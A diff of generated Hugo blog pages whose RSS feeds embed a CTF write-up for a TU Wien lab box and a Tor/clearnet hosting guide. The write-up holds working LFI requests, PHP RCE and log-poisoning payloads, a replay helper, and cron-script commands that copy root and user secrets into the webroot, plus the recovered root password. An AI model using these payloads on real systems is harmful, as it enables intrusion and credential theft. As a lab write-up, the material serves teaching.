+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
+jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
+A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
+dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
+Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
+EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
+W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
+eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
+Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
+KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
+qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
+GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
+=9k+S
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md
+curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc
+gpg --verify new_features.md.asc new_features.md
+  
+
+ + +]]>
\ No newline at end of file diff --git a/public-clearnet/categories/blog/page/1/index.html b/public-clearnet/categories/blog/page/1/index.html new file mode 100644 index 0000000..4035e6c --- /dev/null +++ b/public-clearnet/categories/blog/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/categories/blog/ + \ No newline at end of file diff --git a/public-clearnet/categories/ctf/index.html b/public-clearnet/categories/ctf/index.html new file mode 100644 index 0000000..01f62c2 --- /dev/null +++ b/public-clearnet/categories/ctf/index.html @@ -0,0 +1,11 @@ +CTF | AlipourIm journeys +

A TU Wien CTF where Sysops Klaus left the keys in the cron job

LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

June 5, 2026 · 10 min · Iman Alipour +
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/categories/ctf/index.xml b/public-clearnet/categories/ctf/index.xml new file mode 100644 index 0000000..06073a4 --- /dev/null +++ b/public-clearnet/categories/ctf/index.xml @@ -0,0 +1,360 @@ +CTF on AlipourIm journeyshttps://blog.alipour.eu/categories/ctf/Recent content in CTF on AlipourIm journeysHugo -- 0.146.0enFri, 05 Jun 2026 12:00:00 +0000A TU Wien CTF where Sysops Klaus left the keys in the cron jobhttps://blog.alipour.eu/posts/g00_tuw_measurement_ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. +

Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

+

This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

+

Each student group gets their own host (g00, g01, …). The goal is simple on paper:

+
    +
  1. Collect every passwd_part file sitting in user home directories.
  2. +
  3. Stitch them together into the root password (the full answer lives in /root/passwd).
  4. +
+

Simple. Boring. Except Klaus was clearly in charge of this VM.

+
+

0) The lay of the land

+

Target: g00.tuw.measurement.network

+

From the outside you mostly see three faces of the same machine:

+ + + + + + + + + + + + + + + + + + + + + +
HostWhat it is
g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
+

Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

+

SSH from outside? Public key only. Password auth is a lie (for us, anyway).

+
+

1) Recon — documentation.md saves the day

+

First stop: the main site.

+
curl -s https://g00.tuw.measurement.network/documentation.md
+

That file is basically a treasure map. It mentions two services:

+
    +
  • webweb.g00.tuw.measurement.network
  • +
  • pwresetpwreset.g00.tuw.measurement.network
  • +
+

I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

+

Subdomains resolve. Good. Let’s go web.

+
+

2) LFI — include($_GET['page']) classic

+

The web vhost is a frameset. Content loads in a frame via ?page=:

+
curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
+

And there it is — root, users, the whole /etc/passwd parade inside the frame.

+

Source via PHP filter works too:

+
curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
+  | sed -n 's/.*frame name="in">//p' | base64 -d
+

index.php is roughly:

+
<?php
+$page = $_GET['page'] ?? 'home.php';
+include($page);
+?>
+

Klaus, my man. We love you.

+

First instinct: read all the passwd_part files immediately.

+
# spoiler: doesn't work
+curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
+# → permission denied
+

Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

+
+

3) pwreset — localhost-only, but LFI doesn’t care about nginx

+

Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

+
allow 127.0.0.1;
+deny all;
+

So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

+

pwreset source (paraphrased):

+
$user = $_GET['user'] ?? '';
+$pass = $_GET['pass'] ?? '';
+file_put_contents('/var/www/userchange', "$user:$pass\n");
+echo "Password reset queued.";
+

It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

+

Trigger it through LFI:

+
https://web.g00.tuw.measurement.network/
+  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
+  &user=user1
+  &pass=MyTestPass1!
+

I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

+
+

4) RCE — PHP in userchange, included like a boss

+

At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

+

So I wrote a tiny shell into the user field via pwreset:

+
<?=`id`?>
+

Then included /var/www/userchange through the LFI:

+
?page=/var/www/userchange
+

Output: uid=33(www-data) gid=33(www-data) ...

+

Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

+

From here on, my mental model was:

+
    +
  1. pwreset → write arbitrary-ish content to /var/www/userchange
  2. +
  3. LFI include userchange → execute PHP as www-data
  4. +
+

That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

+
+

5) Rabbit holes (aka “everything I tried before it worked”)

+

This box is a presentation CTF. It wants you to wander. I wandered. Hard.

+

nginx log poisoning

+

The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

+

Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

+

data://, php://input, expect://

+
?page=data://text/plain,<?php system($_GET[cmd]); ?>
+?page=php://input   # with POST body
+?page=expect://id
+

Nope. allow_url_include = Off. Klaus isn’t that careless.

+

vim .swp files

+

.memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

+

Empty memes page. No execution. Nice red herring — very on-theme for the talk.

+

Munin / apt_all plugin

+

The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

+
    +
  • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
  • +
  • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
  • +
  • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
  • +
+

Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

+

pwreset log archaeology

+

Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

+
    +
  • Saw historical resets like user3foobar23
  • +
  • Tried foobar23 over SSH for every user
  • +
+

From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

+

Shell script injection into userchange

+

I tried newline injection to turn userchange into a bash script:

+
user=
+#!/bin/sh
+cp /home/user1/passwd_part /var/www/.../p1
+...
+

Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

+

Brute-forcing the userchange consumer

+

I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

+

Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

+

Direct SSH password guessing

+

Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

+

From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

+
+

6) Privesc — world-writable cron script (peak Klaus)

+

With RCE as www-data, I looked for writable files:

+
find / -writable -type f 2>/dev/null | head
+

Jackpot:

+
-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
+

Original script (innocent):

+
#!/bin/bash
+grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
+

It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

+

I appended:

+
cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
+cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
+cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
+cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
+cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
+cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
+chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
+

Then either waited for cron or executed the script manually via RCE:

+
<?=`/usr/local/bin/cron_update_hostname_file.sh`?>
+

Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

+
+

7) SSH as www-data — because keys in the webroot are a mood

+

The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

+
# via RCE: cat the key, save locally, chmod 600
+ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
+  www-data@g00.tuw.measurement.network
+

Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

+
+

8) The password parts

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SourceFilePart
user1p1DcC6Da0A27384fA
user2p29Ce05B3cAd57824
user3p33aD80fa1b7AE986
user4p4CDefabffab1FCCf
www-datapasswd_part44D885d6DAb8Bb9
rootrootpassghadnuthduxeec7
+

Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

+

Combined root password (95 characters):

+
DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
+

Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

+

I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

+

Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

+
+

9) Attack chain (one screen)

+
documentation.md
+    → web vhost LFI (include $_GET['page'])
+        → include pwreset index.php (localhost bypass)
+            → write PHP to /var/www/userchange
+                → LFI include userchange
+                    → RCE as www-data
+                        → append to world-writable cron_update_hostname_file.sh
+                            → cron runs as root → copies passwd parts to webroot
+                                → read parts / SSH as www-data
+                                    → profit
+

Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

+
+

10) Replay script

+

I left a minimal Python replay in the challenge repo:

+
python3 solve.py
+

Core logic:

+
def pwreset(user, passwd=""):
+    # LFI-include pwreset index.php with user/pass params
+
+def rce(cmd):
+    pwreset(f"<?=`{cmd}`?>", "")
+    return lfi_include("/var/www/userchange")
+

It prints id, the modified cron script, each part file, and the combined password.

+
+

11) Bonus: the intended log poisoning path

+

After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

+

So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

+

The hint is in index.php, not documentation.md

+

documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

+
<!-- remember for debugging:
+    /var/log/nginx/$vhost.access.log
+    /var/log/nginx/$vhost.error.log
+    /var/log/nginx/ssl-$vhost.access.log
+    /var/log/nginx/ssl-$vhost.error.log
+-->
+

Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

+

Intended technique

+
    +
  1. +

    Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

    +
    /var/log/nginx/web.g00.tuw.measurement.network.access.log
    +
  2. +
  3. +

    Put PHP in the User-Agent (or another logged field):

    +
    <?php passthru($_GET['cmd']); ?>
    +

    Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

    +
  4. +
  5. +

    Include that log through the same LFI bug:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
    +  &cmd=id
    +
  6. +
+

On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

+

How I griefed myself

+ + + + + + + + + + + + + + + + + + + + + + + + + +
What I didWhy it hurt
Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
+

Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

+

If you’re solving it now

+
    +
  • Read index.php source first.
  • +
  • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
  • +
  • Include the non-ssl access log path from the comment.
  • +
  • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
  • +
+

I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

+
+

12) TL;DR

+
    +
  • Read documentation.md — it tells you where the services live.
  • +
  • Read index.php source — the debug comment gives you the log paths.
  • +
  • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
  • +
  • What I did = pwreset → userchange → cron (also works, not the intended first step).
  • +
  • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
  • +
  • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
  • +
  • Flag = concatenate all passwd_part slices + /root/passwd suffix.
  • +
+

If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

+

Happy hacking. 🔓

+
+

Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
+jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
+91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
+iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
+35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
+FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
+oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
+zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
+//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
+MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
+YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
+zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
+=BDGe
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
+curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
+gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
+  
+
+ + +]]>
\ No newline at end of file diff --git a/public-clearnet/categories/ctf/page/1/index.html b/public-clearnet/categories/ctf/page/1/index.html new file mode 100644 index 0000000..bdaebbe --- /dev/null +++ b/public-clearnet/categories/ctf/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/categories/ctf/ + \ No newline at end of file diff --git a/public-clearnet/categories/devops/index.html b/public-clearnet/categories/devops/index.html new file mode 100644 index 0000000..8af8a8b --- /dev/null +++ b/public-clearnet/categories/devops/index.html @@ -0,0 +1,15 @@ +DevOps | AlipourIm journeys +

Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

September 19, 2025 · 6 min · Iman Alipour +
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/categories/devops/index.xml b/public-clearnet/categories/devops/index.xml new file mode 100644 index 0000000..f69221e --- /dev/null +++ b/public-clearnet/categories/devops/index.xml @@ -0,0 +1,230 @@ +DevOps on AlipourIm journeyshttps://blog.alipour.eu/categories/devops/Recent content in DevOps on AlipourIm journeysHugo -- 0.146.0enFri, 19 Sep 2025 00:00:00 +0000Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttps://blog.alipour.eu/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

TL;DR — The site is built once (Hugo project), published twice:

+
    +
  • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
  • +
  • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
  • +
+
+

1) Tor hidden service (onion) basics

+

I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

+

Install & configure Tor (Debian/Ubuntu):

+
sudo apt update && sudo apt install -y tor
+sudoedit /etc/tor/torrc
+

Add:

+
HiddenServiceDir /var/lib/tor/hidden_site/
+HiddenServicePort 80 127.0.0.1:3301
+

Make sure the directory is owned by Tor’s user and private:

+
sudo mkdir -p /var/lib/tor/hidden_site
+sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
+sudo chmod 700 /var/lib/tor/hidden_site
+

Important: use the right systemd unit:

+
# validate as the Tor user
+sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
+
+# (re)start the real service
+sudo systemctl enable --now tor@default
+sudo systemctl restart tor@default
+

Get the onion address:

+
sudo cat /var/lib/tor/hidden_site/hostname
+

Quick check (do remote DNS via SOCKS):

+
curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
+

+

2) Nginx for the onion (localhost-only)

+

I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

+

/etc/nginx/sites-available/onion-blog:

+
server {
+    listen 127.0.0.1:3301 default_server;
+    server_name <your-56-char>.onion 127.0.0.1 localhost;
+
+    # keep onion simple; no HSTS/redirects here
+    add_header Referrer-Policy no-referrer always;
+    add_header X-Content-Type-Options nosniff always;
+    add_header X-Frame-Options SAMEORIGIN always;
+    # (optional) strict CSP so nothing leaks to clearnet
+    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
+
+    root /srv/hugo/mysite/public-onion;
+    index index.html;
+
+    location / { try_files $uri $uri/ /index.html; }
+    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
+        access_log off;
+        add_header Cache-Control "public, max-age=31536000, immutable";
+        try_files $uri =404;
+    }
+}
+

Enable/reload:

+
sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
+sudo nginx -t && sudo systemctl reload nginx
+
+

Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

+
+

3) Hugo + PaperMod setup (and version bumps)

+

PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

+
# install Hugo extended (example)
+VER=0.146.0
+cd /tmp
+wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
+tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
+sudo mv hugo /usr/local/bin/hugo
+hugo version  # should say "extended" and >= 0.146.0
+

Create the site and theme:

+
sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
+cd /srv/hugo
+hugo new site mysite
+cd mysite
+git init
+git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
+

Config updates: in newer Hugo, paginate is deprecated → use:

+
# config/_default/hugo.toml
+title = "My Blog"
+theme = "PaperMod"
+enableRobotsTXT = true
+
+[pagination]
+  pagerSize = 10
+
+[params]
+  defaultTheme = "auto"
+  showReadingTime = true
+  showPostNavLinks = true
+  showBreadCrumbs = true
+  showCodeCopyButtons = true
+

I added per-environment overrides so I can build two outputs with different baseURLs:

+
# config/clearnet/hugo.toml
+baseURL = "https://blog.alipourimjourneys.ir/"
+
+# config/onion/hugo.toml
+baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
+

+

4) Dual builds (clearnet + onion) and one-command deploy

+

I publish the same content twice—once for each base URL and docroot:

+
cd /srv/hugo/mysite
+# clearnet build (served over HTTPS)
+hugo --minify --environment clearnet -d public-clearnet
+# onion build (served via Tor)
+hugo --minify --environment onion    -d public-onion
+sudo systemctl reload nginx
+

Helper script I use:

+
sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
+#!/usr/bin/env bash
+set -euo pipefail
+cd /srv/hugo/mysite
+hugo --minify --environment clearnet -d public-clearnet
+hugo --minify --environment onion    -d public-onion
+sudo systemctl reload nginx
+echo "Deployed both at $(date)"
+EOF
+sudo chmod +x /usr/local/bin/build-both
+

While editing, I sometimes auto-rebuild on file save:

+
sudo apt install -y entr
+cd /srv/hugo/mysite
+find content layouts assets static config -type f | entr -r build-both
+

+

5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

+

Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

+
sudo snap install --classic certbot
+sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
+

Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

+
/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
+/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
+

Clearnet Nginx vhosts:

+
# HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
+server {
+  listen 80; listen [::]:80;
+  server_name blog.alipourimjourneys.ir;
+  return 301 https://blog.alipourimjourneys.ir$request_uri;
+}
+
+# HTTPS origin (behind Cloudflare)
+server {
+  listen 443 ssl http2; listen [::]:443 ssl http2;
+  server_name blog.alipourimjourneys.ir;
+
+  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
+  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
+
+  # HSTS on clearnet only
+  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
+
+  # Help Tor Browser discover the onion mirror (safe on clearnet)
+  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
+
+  root /srv/hugo/mysite/public-clearnet;
+  index index.html;
+
+  location / { try_files $uri $uri/ /index.html; }
+}
+
+

Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

+
+

6) Troubleshooting I ran into (and fixes)

+
    +
  • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
  • +
  • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
  • +
  • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
  • +
  • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
    +
  • +
  • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
  • +
  • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
  • +
  • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
  • +
  • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
  • +
+
+

7) “Not secure” in Tor Browser?

+

That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

+
+

8) Day-to-day workflow

+
    +
  • Create content: +
    hugo new posts/my-first-post.md  # then set draft: false
    +
  • +
  • Publish both: +
    build-both
    +
  • +
  • (Optional) Auto on save: +
    find content layouts assets static config -type f | entr -r build-both
    +
  • +
  • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
  • +
+
+

Final notes

+
    +
  • Clearnet gets HTTPS + HSTS and an Onion-Location header.
  • +
  • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
  • +
  • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
  • +
+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
+jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
+DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
+6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
+UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
+FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
+slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
